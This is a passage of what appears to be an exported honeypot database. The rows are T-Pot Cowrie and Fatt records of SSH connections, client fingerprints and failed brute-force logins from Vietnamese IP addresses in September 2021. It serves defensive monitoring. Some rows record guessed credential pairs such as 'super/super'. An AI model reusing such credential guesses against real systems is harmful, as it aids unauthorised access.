"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22208	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:03.396981+03	2021-09-20 14:15:04.634613+03	{"_id": "EQbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:45878 (192.168.176.2:22) [session: 9d3b02d91fa6]", "session": "9d3b02d91fa6", "@version": "1", "protocol": "ssh", "src_port": 45878, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.396981Z", "@timestamp": "2021-09-20T11:07:03.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22209	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:04.047061+03	2021-09-20 14:15:04.635613+03	{"_id": "EgbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:44204 (192.168.176.2:22) [session: a3895fee11a0]", "session": "a3895fee11a0", "@version": "1", "protocol": "ssh", "src_port": 44204, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.047061Z", "@timestamp": "2021-09-20T11:07:04.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22210	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.503361+03	2021-09-20 14:15:04.636613+03	{"_id": "EwbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [super/super] failed", "session": "ed81c353bb43", "@version": "1", "password": "super", "username": "super", "timestamp": "2021-09-20T11:07:03.503361Z", "@timestamp": "2021-09-20T11:07:03.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22211	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.652122+03	2021-09-20 14:15:04.637613+03	{"_id": "FAbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [print2000/print2000] failed", "session": "14f3cef08498", "@version": "1", "password": "print2000", "username": "print2000", "timestamp": "2021-09-20T11:07:03.652122Z", "@timestamp": "2021-09-20T11:07:03.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22212	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:04.04808+03	2021-09-20 14:15:04.639612+03	{"_id": "FQbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a3895fee11a0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.048080Z", "@timestamp": "2021-09-20T11:07:04.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22213	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.154976+03	2021-09-20 14:15:04.640613+03	{"_id": "FgbjAnwBvYTbRNuEUAbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "58adb1fd9c37", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.154976Z", "@timestamp": "2021-09-20T11:07:04.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22214	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.539364+03	2021-09-20 14:15:04.641614+03	{"_id": "FwbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:40148 (192.168.176.2:22) [session: f5d5df5e4141]", "session": "f5d5df5e4141", "@version": "1", "protocol": "ssh", "src_port": 40148, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.539364Z", "@timestamp": "2021-09-20T11:07:03.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22215	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.77404+03	2021-09-20 14:15:04.643614+03	{"_id": "IQbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45902 (192.168.176.2:22) [session: 4d1226e02b74]", "session": "4d1226e02b74", "@version": "1", "protocol": "ssh", "src_port": 45902, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.774040Z", "@timestamp": "2021-09-20T11:07:03.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22216	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.025288+03	2021-09-20 14:15:04.644613+03	{"_id": "IgbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33428 (192.168.176.2:22) [session: 76c7f33eac55]", "session": "76c7f33eac55", "@version": "1", "protocol": "ssh", "src_port": 33428, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.025288Z", "@timestamp": "2021-09-20T11:07:04.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22217	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:03.338111+03	2021-09-20 14:15:04.645612+03	{"_id": "GgbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34642, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.338111", "@timestamp": "2021-09-20T11:07:03.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22218	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:03.783159+03	2021-09-20 14:15:04.646613+03	{"_id": "GwbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45902, "timestamp": "2021-09-20T11:07:03.783159", "@timestamp": "2021-09-20T11:07:03.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22219	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.200166+03	2021-09-20 14:15:04.647613+03	{"_id": "HAbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [carlos/carlos] failed", "session": "7d3a18fad046", "@version": "1", "password": "carlos", "username": "carlos", "timestamp": "2021-09-20T11:07:03.200166Z", "@timestamp": "2021-09-20T11:07:03.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22220	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:03.679827+03	2021-09-20 14:15:04.648613+03	{"_id": "HQbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4bb4e49e1dc7", "@version": "1", "duration": 3.4697299003601074, "timestamp": "2021-09-20T11:07:03.679827Z", "@timestamp": "2021-09-20T11:07:03.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22221	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.78338+03	2021-09-20 14:15:04.650613+03	{"_id": "HgbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "445b8725efc6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.783380Z", "@timestamp": "2021-09-20T11:07:03.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22222	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:03.977132+03	2021-09-20 14:15:04.651612+03	{"_id": "HwbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9d3b02d91fa6", "@version": "1", "timestamp": "2021-09-20T11:07:03.977132Z", "@timestamp": "2021-09-20T11:07:03.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22223	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.003713+03	2021-09-20 14:15:04.652613+03	{"_id": "IAbjAnwBvYTbRNuEUQZD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e630dcd0d392", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.003713Z", "@timestamp": "2021-09-20T11:07:04.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
